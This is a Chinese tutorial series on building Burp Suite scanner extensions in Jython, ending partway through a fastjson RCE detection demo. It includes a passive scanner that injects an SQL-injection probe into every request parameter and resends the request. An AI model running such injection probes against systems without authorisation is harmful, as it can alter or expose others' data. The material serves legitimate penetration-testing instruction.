# 注册一个 HTTP 监听器,那么当我们开启Burp监听的 HTTP 请求或收到的 HTTP 响应都会通知此监听器
callbacks.registerHttpListener(self)

# 注册菜单上下文
# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

# 注册扫描
callbacks.registerScannerCheck(self)

最简单的一个基础配置写好了,接下来实现功能。

0x05 processHttpMessage

刚才介绍了registerHttpListener方法注册了监听器,那么只要Burp监听到数据包,就会调用processHttpMessage方法。
processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
下面是代码和参数的介绍

1
2
3
4
5
6
7
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
'''
:param toolFlag: 一个标志,指示发出请求的Burp工具,Burp工具标志在IBurpExtenderCallbacks界面中定义.例如Proxy和Repeater触发插件
:param messageIsRequest: 标记是否为请求数据包或响应数据包
:param messageInfo: 要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。
:return:
'''

这里toolFlag的数字代表模块,例如哪个模块触发监听器,比如Proxy或者Repeater等

官网给的链接:https://portswigger.net/burp/extender/api/constant-values.html#burp.IBurpExtenderCallbacks

图片

那么我只想要Proxy和Repeater触发插件的功能,代码则如下:

1
2
# Proxy和Repeater触发插件
if toolFlag == 64 or toolFlag == 4:

整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*-coding:utf-8 -*-
# Burp监听到数据包,就会调用processHttpMessage方法
from burp import IBurpExtender, IHttpListener
SLEEP_TIME = 10

class BurpExtender(IBurpExtender, IHttpListener):

def registerExtenderCallbacks(self, callbacks):

self._callbacks = callbacks

# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

# 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
self._callbacks.setExtensionName("processHttpMessage")

# 用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener- 实现IHttpListener接口的扩展创建的对象 。
callbacks.registerHttpListener(self)

def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
'''
:param toolFlag: 一个标志,指示发出请求的Burp工具,Burp工具标志在IBurpExtenderCallbacks界面中定义.例如Proxy和Repeater触发插件
:param messageIsRequest: 标记是否为请求数据包或响应数据包
:param messageInfo: 要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。
:return:
'''
# Proxy和Repeater触发插件
if toolFlag == 64 or toolFlag == 4:

# 处理响应内容
if not messageIsRequest:
print 'call processHttpMessage'

实践:
加载py脚本

图片

repeater发送数据包

图片

成功触发方法

图片

0x06 createMenultems

创建上下文菜单,类似于下图所示

官方api介绍地址:https://portswigger.net/burp/extender/api/burp/IContextMenuFactory.html

图片

需要导入以下模块

1
2
from burp import IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory
from javax.swing import JMenuItem

需要注册菜单

1
2
3
4
# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

创建上下文菜单,触发run方法

创建菜单右键

1
2
3
4
5
6
def createMenuItems(self, invocation):
self.invocation = invocation
menu_list = []
menu_list.append(JMenuItem("Send to createMenuItems", None,
actionPerformed=self.run))
return menu_list

定义run方法

1
2
def run(self, event):
print 'call createMenuItems'

整体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*-coding:utf-8 -*-
# 右键菜单
from burp import IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory
from javax.swing import JMenuItem

class BurpExtender(IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory):

def registerExtenderCallbacks(self, callbacks):

self._callbacks = callbacks

# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

# 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
self._callbacks.setExtensionName("createMenuItems")

# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

# 创建菜单右键
def createMenuItems(self, invocation):
self.invocation = invocation
menu_list = []
menu_list.append(JMenuItem("Send to createMenuItems", None,
actionPerformed=self.run))
return menu_list

def run(self, event):
print 'call createMenuItems'

实践:
右键点击Send to createMenuItems

图片

成功触发

图片

这里抛出一个问题:那就是界面卡死问题。当我们想写一个检测注入漏洞的插件时,payload很多,那么burp会等待payload运行完才会反应,这样就陷入了卡死。

下节课讲解如何解决payload很多,burp卡死问题。

Burp Extender Apis 插件开发 (二)

0x01 被动扫描doPassiveScan


被动扫描,burp默认是开启被动扫描的,即每次的数据包都会放到被动扫描模块进行扫描。那么我们可以重定义被动扫描方法,让每次数据包的被动扫描发送我们定义的payloads。

官方api地址:https://portswigger.net/burp/extender/api/burp/IScannerCheck.html

图片

注:被动扫描要注意一点,那就是修改数据包的时候,如果你在后台也开启插件,那么可能会造成后台数据修改!所以被动扫描插件最好只扫描前台,到了后台一定要关闭掉。

导入模块

1
from burp import IBurpExtender, IScannerCheck

注册扫描

1
callbacks.registerScannerCheck(self)

定义被动扫描方法

1
2
def doPassiveScan(self, baseRequestResponse):
print 'call doPassiveScan'

整体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*-coding:utf-8 -*-
# 被动扫描
from burp import IBurpExtender, IScannerCheck
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo_doPassiveScan")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
print 'call doPassiveScan'

实践:

抓到数据包后并放掉的时候触发

图片

扫描模块

图片

成功触发

图片

0x02 主动扫描doActiveScan

主动扫描,burp默认是关闭主动扫描的。

官方api地址:https://portswigger.net/burp/extender/api/burp/IScannerCheck.html

这里有两个注意点:

  1. 调用主动扫描的插件时,将burp默认的payload关闭
  2. 开启主动扫描的时候,也会默认被动扫描。所以如果同时加载主动扫描插件和被动扫描插件时,一定要注意这点,避免功能重复

打开burpsuite后,先关闭burp的默认扫描payload

图片

除了方法和被动扫描不一样,其余代码一样。

1
2
def doActiveScan(self, baseRequestResponse, insertionPoint):
print 'call doActiveScan'

整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*-coding:utf-8 -*-
# 主动扫描
from burp import IBurpExtender, IScannerCheck
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo doActiveScan")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
print 'call doPassiveScan'

def doActiveScan(self, baseRequestResponse, insertionPoint):
print 'call doActiveScan'

实践:

图片

加入到扫描队列里

图片

成功触发方法

图片

通过这几节课我们已经掌握了burpsuite的常用几个模块调用,下节课学习对抓到的数据包进行分析,分离出每个请求包的参数,每个响应包的参数等信息。

Burp Extender Apis 插件开发 (三)

0x01 IHttpRequestResponse

此接口用于检索和更新有关HTTP消息的详细信息

官网api:https://portswigger.net/burp/extender/api/burp/IHttpRequestResponse.html

图片

例如监听器,扫描模块,菜单模块的各方法中IHttpRequestResponse对象分别是以下变量名

1
2
3
processHttpMessage --> messageInfo
doPassiveScan和doActiveScan --> baseRequestResponse,
createMenuItems --> invocation.getSelectedMessages()[0]

方法名和对应的参数名

1
2
3
4
5
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo)
def doPassiveScan(self, baseRequestResponse)
def doActiveScan(self, baseRequestResponse, insertionPoint)
def createMenuItems(self, invocation):
self.invocation.getSelectedMessages()[0]

接下来介绍下常用的三个方法:

  • IHttpRequestResponse.getRequest()方法返回请求包
  • IHttpRequestResponse.getResponse()方法返回相应包
  • IHttpRequestResponse.getHttpService()方法返回请求/响应的http服务
1
2
3
request = messageInfo.getRequest()
response = currentRequestResponse.getResponse()
httpService = currentRequestResponse.getHttpService()

0x02 IHttpService

该接口获取主机端口和协议

官方API:https://portswigger.net/burp/extender/api/burp/IHttpService.html

图片

代码例子

获取服务端的信息,主机地址,端口,协议

def get_server_info(self, httpService):

1
2
3
4
5
6
7
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
ishttps = False
if protocol == 'https':
ishttps = True
return host, port, protocol, ishttps

0x03 IExtensionHelpers


对请求包/响应包进行分析,使用IExtensionHelpers接口。看下官方介绍,可以看到IExtensionHelpers对象的方法都是用于分析HTTP请求。

官方API:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html

图片

analyzeRequest方法用于分析HTTP请求,并获取有关它的各种关键详细信息,返回IRequestInfo对象
analyzeResponse方法用于分析HTTP响应,并获取有关它的各种关键详细信息,返回IResponseInfo对象

1
2
analyzedRequest = self._helpers.analyzeRequest(request)
analyzedResponse = self._helpers.analyzeResponse(response)

这里回顾下self._helpers从哪来,忘了的同学可以回到第二课。

1
2
3
4
5
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

0x04 IRequestInfo:获取请求信息

官方api地址:https://portswigger.net/burp/extender/api/burp/IRequestInfo.html, 有以下方法:

图片

getHeaders用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

1
reqHeaders = analyzedRequest.getHeaders()

获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

1
reqBodys = request[analyzedRequest.getBodyOffset():].tostring()

获取请求方法

1
reqMethod = analyzedRequest.getMethod()

获取请求中包含的参数。

1
reqParameters = analyzedRequest.getParameters()

获取请求中的URL

1
reqUrl = analyzedRequest.getUrl()

获取请求包的一些信息:请求头,请求内容,请求方法,请求参数的代码如下:

1
2
3
4
5
6
7
8
9
10
# 获取请求的一些信息:请求头,请求内容,请求方法,请求参数
def get_request_info(self, request):
analyzedRequest = self._helpers.analyzeRequest(request) # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
reqHeaders = analyzedRequest.getHeaders() # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
reqBodys = request[analyzedRequest.getBodyOffset():].tostring() # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
reqMethod = analyzedRequest.getMethod() # 获取请求方法
reqParameters = analyzedRequest.getParameters() # 获取请求中包含的参数。
return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters


0x05 IParameter:获取请求包的参数

官方API:https://portswigger.net/burp/extender/api/burp/IParameter.html

图片

1
2
3
4
5
6
7
reqParameters = analyzedRequest.getParameters()# 返回的是列表
for parameter in reqParameters:
parameterName = parameter.getName()
parameterValue = parameter.getValue()
parameterType = parameter.getType()


0x06 IResponseInfo:获取响应信息

此接口用于检索有关HTTP响应的关键详细信息。

官方api地址:https://portswigger.net/burp/extender/api/burp/IResponseInfo.html, 有以下方法:

图片

getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

1
resHeaders = analyzedResponse.getHeaders()

getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。

1
2
response[analyzedResponse.getBodyOffset():]获取正文内容
resBodys = response[analyzedResponse.getBodyOffset():].tostring()

getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

1
resStatusCode = analyzedResponse.getStatusCode()

获取响应的一些信息:响应头,响应内容,响应状态码的代码如下:

1
2
3
4
5
6
7
# 获取响应的一些信息:响应头,响应内容,响应状态码
def get_response_info(self, response):
analyzedResponse = self._helpers.analyzeResponse(response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resHeaders = analyzedResponse.getHeaders() # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
resBodys = response[analyzedResponse.getBodyOffset():].tostring() # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
resStatusCode = analyzedResponse.getStatusCode() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
return resHeaders, resBodys, resStatusCode

Burp Extender Apis 插件开发 (四)

0x01 buildParameter

buildParameter(java.lang.String name, java.lang.String value, byte type) –> IParameter

传递的三个参数分别是参数名,参数值,参数类型 –> 返回IParameter对象

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#buildParameter(java.lang.String,%20java.lang.String,%20byte)

示例代码如下:

1
2
3
4
5
6
# 构造参数
parameterValueSQL = parameterValue + payload# parameterValue是原始数据包的参数值,然后拼接sql注入的payload成新的参数值
newParameter = self._helpers.buildParameter(parameterName, parameterValueSQL, parameterType)
newParameterName = newParameter.getName()# 参数名
newParameterValue = newParameter.getValue()# 参数值
newParameterType = newParameter.getType()# 参数类型

使用buildParameter构造新的参数后,需要用updateParameter更新请求包

0x02 updateParameter

updateParameter(byte[] request, IParameter parameter) –> request

传递的两个参数分别是request,IParameter 对象

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#updateParameter(byte[],%20burp.IParameter)

示例代码如下:

1
2
3
4
5
newRequest = self._helpers.updateParameter(request, newParameter)
'''
request: 原始请求数据包
newParameter: 使用buildParameter构造的带有payload的参数
'''

使用updateParameter更新请求包的参数后,这时候请求包就带有了payload,接下来就要发送这个新的请求数据包

0x03 makeHttpRequest

makeHttpRequest(IHttpService httpService, byte[] request) –> IHttpRequestResponse
传递的两个参数分别是IHttpService对象,request –> 返回IHttpRequestResponse对象
发出HTTP请求并检索其响应:
link:https://portswigger.net/burp/extender/api/burp/IBurpExtenderCallbacks.html#makeHttpRequest(burp.IHttpService,%20byte[])
示例代码如下:

1
2
httpService = self.baseRequestResponse.getHttpService()# IHttpService参数是原始数据包的getHttpService()方法返回的
newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest)

通过上述三种api就实现了请求包携带我们的payload发送。

0x04 实例

编写一个简单的注入检测插件:payload为’%22`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*-coding:utf-8 -*-
# 被动扫描
from burp import IBurpExtender, IScannerCheck
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo_doPassiveScan2")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
request = baseRequestResponse.getRequest() # 返回request
analyzedIRequestInfo = self._helpers.analyzeRequest(request) # 返回IRequestInfo对象
httpService = baseRequestResponse.getHttpService() # IHttpService参数是原始数据包的getHttpService()方法返回的
reqParameters = analyzedIRequestInfo.getParameters() # 获取参数

​ # 遍历每个参数,包含get,post,cookies
​ for parameter in reqParameters:
​ parameterName, parameterValue, parameterType = parameter.getName(), parameter.getValue(), parameter.getType()
​ # 构造参数
​ parameterValueSQL = parameterValue + "'%22`"
​ newParameter = self._helpers.buildParameter(parameterName, parameterValueSQL, parameterType)
​ # 更新请求包
​ newRequest = self._helpers.updateParameter(request, newParameter)
​ # 发送请求
​ newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest)
​ response = newIHttpRequestResponse.getResponse() # 获取响应包
​ analyzedIResponseInfo = self._helpers.analyzeRequest(
​ response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
​ resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
​ print resBodys
​ if ' SQL syntax' in resBodys:
​ print 'is SQL'

效果如下:可以看到打印的响应包就是加载payload后的响应包

图片

Burp Extender Apis 插件开发 (五)

0x01 IScanIssue

此界面用于展示漏洞的详细信息。

官方api:https://portswigger.net/burp/extender/api/burp/IScanIssue.html

有如下方法:

图片

那么我们可以定义一个专门存储漏洞的类,只要继承IScanIssue即可。

示例代码如下:参数解释也在代码注释里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
'''
:param httpService: HTTP服务
:param url: 漏洞url
:param httpMessages: HTTP消息
:param name: 漏洞名
:param detail: 漏洞细节
:param severity: 漏洞等级
'''
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
self._detail = detail
self._severity = severity

def getUrl(self):
return self._url

def getIssueName(self):
return self._name

def getIssueType(self):
return 0

def getSeverity(self):
return self._severity

def getConfidence(self):
return "Certain"

def getIssueBackground(self):
pass

def getRemediationBackground(self):
pass

def getIssueDetail(self):
return self._detail

def getRemediationDetail(self):
pass

def getHttpMessages(self):
return self._httpMessages

def getHttpService(self):
return self._httpService

接下来就是存储存在漏洞的数据包了,实际上每一个报告都是一个CustomScanIssue对象,所以如果检测出该payload能够验证漏洞的时候,实例化一个CustomScanIssue对象,第一个参数是该payload的数据包的http服务,第二个参数是该payload的url,第三个参数是该payload的IHttpRequestResponse,第四个参数是漏洞名,第五个参数是漏洞细节,第六个参数是漏洞等级。

然后将每个CustomScanIssue对象存到列表里,当执行完被动扫描后,return该列表即可。那么issues模块就会出现存在漏洞的数据包!

示例代码如下:

1
2
3
4
5
6
7
issues.append(CustomScanIssue(
newIHttpRequestResponse.getHttpService(),
self._helpers.analyzeRequest(newIHttpRequestResponse).getUrl(),
[newIHttpRequestResponse],
"SQL",
"Error Inject",
"High"))

这里还有一个小tips,就是当存在漏洞的数据包重复的时候,使用consolidateDuplicateIssues可以过滤。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
def consolidateDuplicateIssues(self, existingIssue, newIssue):
'''
相同的数据包,只报告一份报告
:param existingIssue:
:param newIssue:
:return:
'''
if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
return -1

return 0

0x02 一个简单的注入检测插件

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*-coding:utf-8 -*-
# 被动扫描
from burp import IBurpExtender, IScannerCheck, IScanIssue, IMessageEditorTabFactory, IContextMenuFactory
from burp import IScanIssue
import sys

class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("demo_doPassiveScan2")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

def doPassiveScan(self, baseRequestResponse):
request = baseRequestResponse.getRequest() # 返回request
analyzedIRequestInfo = self._helpers.analyzeRequest(request) # 返回IRequestInfo对象
httpService = baseRequestResponse.getHttpService() # IHttpService参数是原始数据包的getHttpService()方法返回的
reqParameters = analyzedIRequestInfo.getParameters() # 获取参数
issues = []
# 遍历每个参数,包含get,post,cookies
for parameter in reqParameters:
parameterName, parameterValue, parameterType = parameter.getName(), parameter.getValue(), parameter.getType()
# 构造参数
parameterValueSQL = parameterValue + "'%22`"
newParameter = self._helpers.buildParameter(parameterName, parameterValueSQL, parameterType)
# 更新请求包
newRequest = self._helpers.updateParameter(request, newParameter)
# 发送请求
newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest)
response = newIHttpRequestResponse.getResponse() # 获取响应包
analyzedIResponseInfo = self._helpers.analyzeRequest(
response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
print resBodys
if ' SQL syntax' in resBodys:
print 'is SQL'

​ issues.append(CustomScanIssue(
​ newIHttpRequestResponse.getHttpService(),
​ self._helpers.analyzeRequest(newIHttpRequestResponse).getUrl(),
​ [newIHttpRequestResponse],
​ "SQL",
​ "Error Inject",
​ "High"))
​ return issues

def consolidateDuplicateIssues(self, existingIssue, newIssue):
'''
相同的数据包,只报告一份报告
:param existingIssue:
:param newIssue:
:return:
'''

​ if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
​ return -1

​ return 0

class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
'''

​ :param httpService: HTTP服务
​ :param url: 漏洞url
​ :param httpMessages: HTTP消息
​ :param name: 漏洞名
​ :param detail: 漏洞细节
​ :param severity: 漏洞等级
​ '''
​ self._httpService = httpService
​ self._url = url
​ self._httpMessages = httpMessages
​ self._name = name
​ self._detail = detail
​ self._severity = severity

def getUrl(self):
return self._url

def getIssueName(self):
return self._name

def getIssueType(self):
return 0

def getSeverity(self):
return self._severity

def getConfidence(self):
return "Certain"

def getIssueBackground(self):
pass

def getRemediationBackground(self):
pass

def getIssueDetail(self):
return self._detail

def getRemediationDetail(self):
pass

def getHttpMessages(self):
return self._httpMessages

def getHttpService(self):
return self._httpService

那么这个就是最简单的一个检测注入的被动扫描插件

效果如下:

在output输出我们代码里的print内容

图片

在Scanner的Issue显示漏洞详情,包含数据包等各种内容

图片

图片

那么只要你多添加些payload,然后使用多线程去调用就能够实现多线程被动注入检测插件啦!

当你学到这的时候,恭喜你解放自己的重复劳动力,从今以后挖洞只需要不断的访问链接,漏洞自会不断出现。

Burp Extender Apis 插件开发 (六)

0x01 getContentType

此方法用于获取消息正文的内容类型,由IRequestInfo对象调用

官方api:https://portswigger.net/burp/extender/api/burp/IRequestInfo.html#getContentType()

图片

示例代码如下:

1
reqContentType = analyzedRequest.getContentType()

如果数据是json格式,那么analyzedRequest.getContentType()返回来的值是4。

那么就可以通过reqContentType是否等于4过滤掉不是json格式的数据包,从而使该插件只检测当数据类型是json时才触发。

接下来准备重构数据包。

0x02 stringToBytes()

1
byte[] stringToBytes(java.lang.String data)

此方法可用于将数据从字符串形式转换为字节数组。该转换不反映任何特定字符集,十六进制表示为0xWXYZ的字符将始终转换为表示形式为0xYZ的字节。它执行与方法相反的转换bytesToString(),并保证使用这两种方法将基于字节的数据转换为String并再次返回,以确保其完整性(反映给定字符集的转换可能不是这种情况)。

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#stringToBytes(java.lang.String)

图片

官方的解释有点拗口,其实很简单,就是把我们想要提交的字符串内容转换为burp能认识的数据类型。

示例代码如下:将字符串payload转换为burp认识的字节类型,这样newBody的数据类型就变成了byte,就能够在下一个api里使用了。

1
2
newBodyPayload = '{"age":25, "name":"Bob""}'
newBody = self._helpers.stringToBytes(newBodyPayload) # 将字符串转换为字节

当构造好payload后,下面准备重构http消息

0x03 buildHttpMessage

1
byte[] buildHttpMessage(java.util.List<java.lang.String> headers, byte[] body)

此方法构建包含指定的标头和消息正文的HTTP消息。如果适用,将根据正文的长度添加或更新Content-Length标头。

官方api:https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#buildHttpMessage(java.util.List,%20byte[])

图片

buildHttpMessage的第一个参数headers是IRequestInfo对象的getHeaders()方法返回值

示例代码如下:如果不知道analyzedIRequestInfo是什么变量,请回顾前几节课。

1
reqHeaders = analyzedIRequestInfo.getHeaders()

buildHttpMessage的第二个参数body是IExtensionHelpers.stringToBytes(字符串)的返回值

1
newBody = self._helpers.stringToBytes(newBodyPayload) # 将字符串转换为字节

准备好两个参数后,传递给buildHttpMessage即可重构http消息

1
newRequest = self._helpers.buildHttpMessage(reqHeaders, newBody) #  重构json格式的数据不能用buildParameter,要用buildHttpMessage替换整个body重构http消息。

然后接下来同样使用makeHttpRequest发送数据并响应即可。

1
newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest) # 发送数据

fastjson rce检测插件demo

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
# -*-coding:utf-8 -*-
# 被动扫描fastjson rce检测
from burp import IBurpExtender, IScannerCheck, IScanIssue, IMessageEditorTabFactory, IContextMenuFactory
from burp import IScanIssue
import sys
import time
import os

class BurpExtender(IBurpExtender, IMessageEditorTabFactory, IContextMenuFactory, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):

​ # Required for easier debugging:
​ sys.stdout = callbacks.getStdout()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
​ self._callbacks = callbacks

​ # 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
​ self._helpers = callbacks.getHelpers()

​ # 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。
​ self._callbacks.setExtensionName("Passive Fastjson Check")

​ # 注册扫描
​ callbacks.registerScannerCheck(self)

# 获取请求的url
def get_request_url(self, protocol, reqHeaders):
link = reqHeaders[0].split(' ')[1]
host = reqHeaders[1].split(' ')[1]
return protocol + '://' + host + link

# 获取请求的一些信息:请求头,请求内容,请求方法,请求参数
def get_request_info(self, request):
analyzedIRequestInfo = self._helpers.analyzeRequest(request) # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
reqHeaders = analyzedIRequestInfo.getHeaders() # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
reqBodys = request[analyzedIRequestInfo.getBodyOffset():].tostring() # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
reqMethod = analyzedIRequestInfo.getMethod() # 获取请求方法
reqParameters = analyzedIRequestInfo.getParameters()
return analyzedIRequestInfo, reqHeaders, reqBodys, reqMethod, reqParameters

# 获取响应的一些信息:响应头,响应内容,响应状态码
def get_response_info(self, response):
analyzedIResponseInfo = self._helpers.analyzeRequest(response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resHeaders = analyzedIResponseInfo.getHeaders() # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
